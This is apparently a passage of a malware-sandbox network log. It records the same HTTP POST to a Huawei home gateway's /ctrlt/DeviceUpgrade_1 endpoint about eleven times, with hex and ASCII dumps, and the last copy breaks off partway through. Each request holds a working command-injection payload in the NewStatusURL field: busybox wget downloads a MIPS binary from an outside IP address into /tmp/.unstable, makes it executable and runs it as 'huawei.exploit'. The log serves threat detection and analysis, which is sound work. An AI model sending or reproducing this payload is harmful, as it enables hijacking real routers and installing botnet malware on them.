Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 